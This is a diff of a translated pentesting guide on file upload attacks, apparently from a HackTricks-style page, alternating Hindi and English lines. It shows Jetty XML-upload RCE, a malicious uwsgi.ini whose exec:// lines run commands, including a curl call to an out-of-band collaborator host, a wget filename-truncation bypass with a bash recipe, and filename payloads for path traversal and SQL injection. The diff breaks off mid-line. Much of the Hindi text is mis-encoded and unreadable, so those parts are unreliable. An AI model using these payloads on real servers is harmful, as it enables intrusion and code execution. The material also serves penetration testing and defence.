-рдпрджрд┐ рдЖрдк Jetty server рдореЗрдВ XML рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк [RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**ред** рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ image рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, XML рдлрд╝рд╛рдЗрд▓ рдХреЛ `$JETTY_BASE/webapps/` рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ shell рдХреА рдЙрдореНрдореАрдж рд░рдЦреЗрдВ!
+If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
.png>)
## **uWSGI RCE**
-рдЗрд╕ vulnerability рдХреЗ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдореВрд▓ рд░рд┐рд╕рд░реНрдЪ рджреЗрдЦреЗрдВ: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
-Remote Command Execution (RCE) vulnerabilities рдХрд╛ рдЙрдкрдпреЛрдЧ uWSGI servers рдореЗрдВ рддрдм рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдХрд┐рд╕реА рдХреЗ рдкрд╛рд╕ `.ini` configuration file рдХреЛ modify рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛред uWSGI configuration files рдПрдХ рд╡рд┐рд╢реЗрд╖ syntax рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ "magic" variables, placeholders, рдФрд░ operators рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, '@' operator, рдЬрд┐рд╕реЗ `@(filename)` рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ include рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП design рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред uWSGI рдореЗрдВ рд╕рдорд░реНрдерд┐рдд рд╡рд┐рднрд┐рдиреНрди schemes рдореЗрдВ "exec" scheme рдХрд╛рдлреА рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рд╣реИ, рдЬреЛ рдХрд┐рд╕реА process рдХреЗ standard output рд╕реЗ рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЬрдм `.ini` configuration file рдкреНрд░реЛрд╕реЗрд╕ рдХреА рдЬрд╛рддреА рд╣реИ рддреЛ рдЗрд╕ рдлреАрдЪрд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ Remote Command Execution рдпрд╛ Arbitrary File Write/Read рдЬреИрд╕реЗ рджреБрд╖реНрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
+Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
-рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣рд╛рдирд┐рдХрд╛рд░рдХ `uwsgi.ini` рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди schemes рджрд┐рдЦрд╛рддреА рд╣реИ:
+Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
```ini
[uwsgi]
; read from a symbol
@@ -156,15 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
-рдкреЗрд▓реЛрдб рдХрд╛ execution configuration file рдХреА parsing рдХреЗ рджреМрд░рд╛рди рд╣реЛрддрд╛ рд╣реИред Configuration рдХреЛ рд╕рдХреНрд░рд┐рдп рдФрд░ рдкрд╛рд░реНрд╕ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, uWSGI рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдпрд╛ рддреЛ restart рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП (рд╕рдВрднрд╡рддрдГ crash рдХреЗ рдмрд╛рдж рдпрд╛ Denial of Service attack рдХреЗ рдХрд╛рд░рдг) рдпрд╛ рдлрд╝рд╛рдЗрд▓ рдХреЛ auto-reload рдкрд░ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдпрджрд┐ auto-reload рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдпрд╣ рдкрд░рд┐рд╡рд░реНрддрди рдорд┐рд▓рдиреЗ рдкрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЕрдВрддрд░рд╛рд▓реЛрдВ рдкрд░ рдлрд╝рд╛рдЗрд▓ рдХреЛ reload рдХрд░ рджреЗрддрд╛ рд╣реИред
+The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
-рдпрд╣ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ uWSGI рдХреА configuration file parsing рдХрд┐рддрдиреА lax рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрд╣рд╛рдВ рдЪрд░реНрдЪрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ payload рдПрдХ binary рдлрд╝рд╛рдЗрд▓ (рдЬреИрд╕реЗ image рдпрд╛ PDF) рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд exploitation рдХрд╛ рджрд╛рдпрд░рд╛ рдФрд░ рдмрдврд╝ рдЬрд╛рддрд╛ рд╣реИред
+рдпрд╣ рд╕рдордЭрдирд╛ рдЬрд╝рд░реВрд░реА рд╣реИ рдХрд┐ uWSGI рдХреА configuration file parsing рдХрд╛рдлреА lax рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЪрд░реНрдЪрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ payload рдХрд┐рд╕реА binary file (рдЬреИрд╕реЗ image рдпрд╛ PDF) рдореЗрдВ insert рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд exploitation рдХреА рд░реЗрдВрдЬ рдХреЛ рдФрд░ рдмрдврд╝рд╛ рджреЗрддрд╛ рд╣реИред
-## **wget рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб/SSRF рдЯреНрд░рд┐рдХ**
+## **wget File Upload/SSRF рдЯреНрд░рд┐рдХ**
-рдХрднреА-рдХрднреА рдЖрдкрдХреЛ рдкрддрд╛ рдЪрд▓реЗрдЧрд╛ рдХрд┐ рдПрдХ server **`wget`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдлрд╝рд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб** рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдк **URL** рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХреЛрдб рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ extension рдПрдХ whitelist рдХреЗ рдЕрдВрджрд░ рд╣реИ рддрд╛рдХрд┐ рдХреЗрд╡рд▓ рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реА рдбрд╛рдЙрдирд▓реЛрдб рд╣реЛрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, **рдпрд╣ рдЬрд╛рдВрдЪ bypass рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред**
-
-The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **"A"\*232+".php"+".gif" рдирд╛рдо рдХреА рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рдпрд╣ рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдЙрд╕ **check** рдХреЛ **bypass** рдХрд░ рджреЗрдЧрд╛ (рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ **".gif"** рдПрдХ **valid** extension рд╣реИ) рдкрд░ `wget` рдлрд╝рд╛рдЗрд▓ рдХрд╛ **rename** рдХрд░рдХреЗ рдЙрд╕реЗ **"A"\*232+".php"** рдмрдирд╛ рджреЗрдЧрд╛ред
+рдХрднреА-рдХрднреА рдЖрдк рдкрд╛рдПрдВрдЧреЗ рдХрд┐ server **`wget`** рдХрд╛ рдЙрдкрдпреЛрдЧ **download files** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдк **URL** indicate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХреЛрдб рдпрд╣ рдЬрд╛рдБрдЪ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ downloaded files рдХреЗ extension рдПрдХ whitelist рдореЗрдВ рд╣реИрдВ рддрд╛рдХрд┐ рдХреЗрд╡рд▓ allowed files рд╣реА download рд╣реЛрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, **рдЗрд╕ check рдХреЛ bypass рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ.**\
+Linux рдореЗрдВ рдПрдХ **filename** рдХреА **maximum** length **255** рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ **wget** filenames рдХреЛ **236** characters рддрдХ truncate рдХрд░ рджреЗрддрд╛ рд╣реИред рдЖрдк **download a file called "A"\*232+".php"+".gif"** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ filename **check** рдХреЛ **bypass** рдХрд░ рджреЗрдЧрд╛ (рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ **".gif"** рдПрдХ **valid** extension рд╣реИ) рд▓реЗрдХрд┐рди `wget` рдлрд╝рд╛рдЗрд▓ рдХрд╛ **rename** рдХрд░ рджреЗрдЧрд╛ рдФрд░ рдЗрд╕реЗ **"A"\*232+".php"** рдирд╛рдо рджреЗ рджреЗрдЧрд╛ред
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -189,31 +188,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
-## Tools
+## рдЯреВрд▓реНрд╕
-- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдЯреВрд▓ рд╣реИ рдЬреЛ Pentesters рдФрд░ Bug Hunters рдХреЛ file upload mechanisms рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рд╡рд┐рднрд┐рдиреНрди bug bounty рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ exploit рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ web applications рдХрд╛ thorough assessment рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛрддрд╛ рд╣реИред
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдЯреВрд▓ рд╣реИ рдЬреЛ Pentesters рдФрд░ Bug Hunters рдХреЛ file upload mechanisms рдХреА рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рд╡рд┐рднрд┐рдиреНрди bug bounty techniques рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ vulnerabilities рдХреА рдкрд╣рдЪрд╛рди рдФрд░ exploit рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ web applications рдХрд╛ thorough assessment рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛрддрд╛ рд╣реИред
### Corrupting upload indices with snprintf quirks (historical)
-рдХреБрдЫ рдкреБрд░рд╛рдиреА upload handlers рдЬреЛ `snprintf()` рдпрд╛ рдЗрд╕реА рддрд░рд╣ рдХреЗ рддрд░реАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ single-file upload рд╕реЗ multi-file arrays рдмрдирд╛рддреА рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ `_FILES` рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдЧрд▓рддреА рд╕реЗ forge рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП trick рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред `snprintf()` рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ рдЕрд╕рдВрдЧрддрддрд╛рдУрдВ рдФрд░ truncation рдХреЗ рдХрд╛рд░рдг, рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдмрдирд╛рдП рдЧрдП рдПрдХ single upload рдХреЛ рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдкрд░ multiple indexed files рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╣ рд▓реЙрдЬрд┐рдХ рднреНрд░рдорд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдПрдХ рд╕рдЦреНрдд рдЖрдХрд╛рд░ рдорд╛рдирддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ multi-file upload рдорд╛рдирдХрд░ unsafe рдмреНрд░рд╛рдВрдЪ рдкрдХрдбрд╝ рд▓реЗрдирд╛)ред рдЖрдЬрдХрд▓ рдпрд╣ рдкреИрдЯрд░реНрди niche рд╣реИ, рдкрд░ рдпрд╣ рдХрднреА-рдХрднреА CTFs рдФрд░ рдкреБрд░рд╛рдиреЗ рдХреЛрдбрдмреЗрд╕ рдореЗрдВ рдлрд┐рд░ рд╕реЗ рдЙрднрд░рддрд╛ рд╣реИред
+рдХреБрдЫ legacy upload handlers рдЬреЛ `snprintf()` рдпрд╛ рд╕рдорд╛рди рддрд░реАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ single-file upload рд╕реЗ multi-file arrays рдмрдирд╛рддреЗ рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ `_FILES` structure рдХреЛ forge рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП trick рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред `snprintf()` рдХреЗ inconsistent рдФрд░ truncation рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рдХрд╛рд░рдг, рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдПрдХ single upload рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдкрд░ рдХрдИ indexed files рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╣ logic рднреНрд░рдорд┐рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ strict shape рдорд╛рдирддрд╛ рд╣реИ (рдЬреИрд╕реЗ, рдЗрд╕реЗ multi-file upload рдорд╛рдирдХрд░ unsafe branches рдкрд░ рдЬрд╛рдирд╛)ред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЖрдЬ рдХреЗ рд╕рдордп рдореЗрдВ рдпрд╣ niche рд╣реИ, рдпрд╣ тАЬindex corruptionтАЭ pattern рдХрднреА-рдХрднреА CTFs рдФрд░ рдкреБрд░рд╛рдиреЗ codebases рдореЗрдВ рдлрд┐рд░ рд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред
-## From File upload to other vulnerabilities
+## File upload рд╕реЗ рдЕрдиреНрдп рдХрдордЬреЛрд░рд┐рдпрд╛рдБ
-- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
-- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
-- Set **filename** to `